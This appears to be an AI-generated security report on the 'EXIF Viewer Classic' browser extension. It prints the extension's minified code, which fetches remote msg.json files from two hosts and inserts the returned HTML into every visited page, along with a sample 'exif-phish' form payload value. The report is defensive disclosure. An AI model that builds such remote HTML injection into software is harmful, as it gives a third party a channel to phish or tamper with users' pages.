Is EXIF Viewer Classic safe?
EXIF Viewer Classic lets webpages trigger cross-origin image EXIF reads and displays the parsed metadata in the page.
Its all-sites content script watches image mouseovers and asks the service worker to fetch the image URL, parse EXIF/GPS metadata, and inject results into the page DOM. It also retrieves remote notification messages from dsnetx.web.app with a Bitbucket fallback and renders their HTML on matched pages.
Who publishes itRodrigue - 7 other listings from the same operator, 4 of them carrying a finding
Rodrigue - 7 other listings from the same operator, 4 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 20k+ users between them. 2 of them carry a finding.
Same operator - 5 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote message JSON injects HTML into visited pages
On any HTTP/HTTPS page, EXIF Viewer Classic waits a few seconds, fetches a message file from dsnetx.web.app, and can add the returned HTML to the page.
Dynamic analysis observed a 200 OK GET, HTML inserted via a bootstrap notification.
You open a normal website where the extension's content script is allowed to run.
The manifest registers the content script for both HTTP and HTTPS pages.
The extension checks a remote message file and can add that message's HTML to the page.
The message is shown only when the remote configuration marks it as enabled and matching this browser version.
The remote message check is scheduled once shortly after the content script finishes page setup.
| Field | Value | Why it matters | |
|---|---|---|---|
Enable switch | show: true | This decides whether a remote message is eligible to appear on pages you visit. | |
Version and browser match | ExifClassic-CH-v301@chrome | This lets the remote file limit a message to a particular extension version or browser. | |
Message HTML | <form id='exif-phish'>remote html</form> | This is the remote content that can be added to the webpage you are viewing. | |
Auto-close delay | 5000 milliseconds | This controls how long the inserted notification stays visible on the page. | |
Message ID | static-test-301 | This is stored locally so the same non-repeating message is not shown again immediately. |
The shipped code fetches remote msg.json and inserts msg as HTML
const x = d.APP_ID,
M = globalThis.CONFIGS && globalThis.CONFIGS.TEST,
V = ["https://dsnetx.web.app/apps/firelinks/msg.json", "https://dsnet.bitbucket.io/apps/ext/msg/msg.json"];
let F = !1;
const $e = 7,
Ee = 22;
let u = 0;
function C(e) {
const t = `${V[u]}?ref=${x}&r=${Math.random()}`;
fetch(t, {
cache: "no-store"
}).then(i => i.json()).then(i => {
E(x, "Notif", "Loaded"), I(i) ? (u++, p.log(`Failed, retrying - ${u}`), u < V.length && setTimeout(C, 100)) : (u = 0, Ie(i))
}).catch(i => {
console.log("error in ", i), u++, p.log(`Failed, retrying - ${u}`), u < V.length ? setTimeout(C, 100) : u = 0
})
}function ge({
message: e,
delay: t
}) {
const i = G(),
o = $(`<div id="notifyVersionView" style="z-index: 99999; margin: 0; background: #F2B600; border: 1px solid #CC9900; color: #4F3C00; padding: 8px; font: 14px Arial, sans-serif; position: absolute; left:0; right: 0; "><div style="float: left; ">
<h6 style="padding-right:10px">${i.name}</h6>${e}</div><br clear="both"/></div>'}`);
$(document.body).prepend(o), o.slideUp(1).slideDown(800).delay(t || 5e3).slideUp(800, q)
}
function A(e, t) {
const i = !I(e) && e.hasOwnProperty("typeNotif") ? e.typeNotif : "WEBUI";
i === "NATIVE" || (i === "WEBALERT" ? (alert(`${e.title}: ${e.msg}`), F = !0) : Se(e))
}
function W(e, t) {
v ? v.notify(e, t) : $.notify(e, t)
}
function Se(e, t) {
if (!v && !$.notify.getStyle("bootstrap-html")) {
const i = $.notify.getStyle("bootstrap");
i.html = `<div>
<span data-notify-html></span>
</div>`, $.notify.addStyle("bootstrap-html", i)
}
try {
if (e.autoclose) {
const i = {
autoHide: !0,
autoHideDelay: e.autoclose,
className: e.type,
style: "bootstrap-html",
type: e.type
};
W(e.msg, i)
} else {
const i = {
autoHide: !1,
className: e.type,
style: "bootstrap-html",
type: e.type
};
W(e.msg, i), $("span[data-notify-text]").css({
"font-size": "medium",
"font-weight": "400"
})
}
E(x, "Notif-FinalMessageSent", e.msgid)
} catch (i) {
console.log(i), E(x, "Notif-Failed-vnotify", e.msgid)
}
}function Ae() {
try {
const e = {
notify: (t, i) => {
ge({
message: t,
delay: i.autoHideDelay
})
}
};
Ve(j, y.label.Content, e), C()
} catch (e) {
y.gaEventALV(`${y.label.Content}-LoadNitfy`, y.vals.Fail, e)
}
}
function Ce() {
return j.load().then(() => {
oe(), te(), ve()
}).finally(() => {
setTimeout(Ae, 5e3)
})
}- dsnetx.web.app
Primary host for the remote msg.json file observed returning 200 OK.
- dsnet.bitbucket.io
Fallback host used by the same fetch loop if the primary response is empty or fails.
What it can do
Permissions this extension asks for, as declared in version 3.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
http://*/*
Read and change your data on every secure site you visit
https://*/*
Store an unlimited amount of data in your browser
unlimitedStorage
Store data in your browser
storage
Where it sends data
Destinations our analysis observed EXIF Viewer Classic contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- dsnet.bitbucket.io
EXIF Viewer Classic sends data to dsnet.bitbucket.io. One other extension we have analysed sends data here.
- dsnetx.web.app
EXIF Viewer Classic sends data to dsnetx.web.app. One other extension we have analysed sends data here.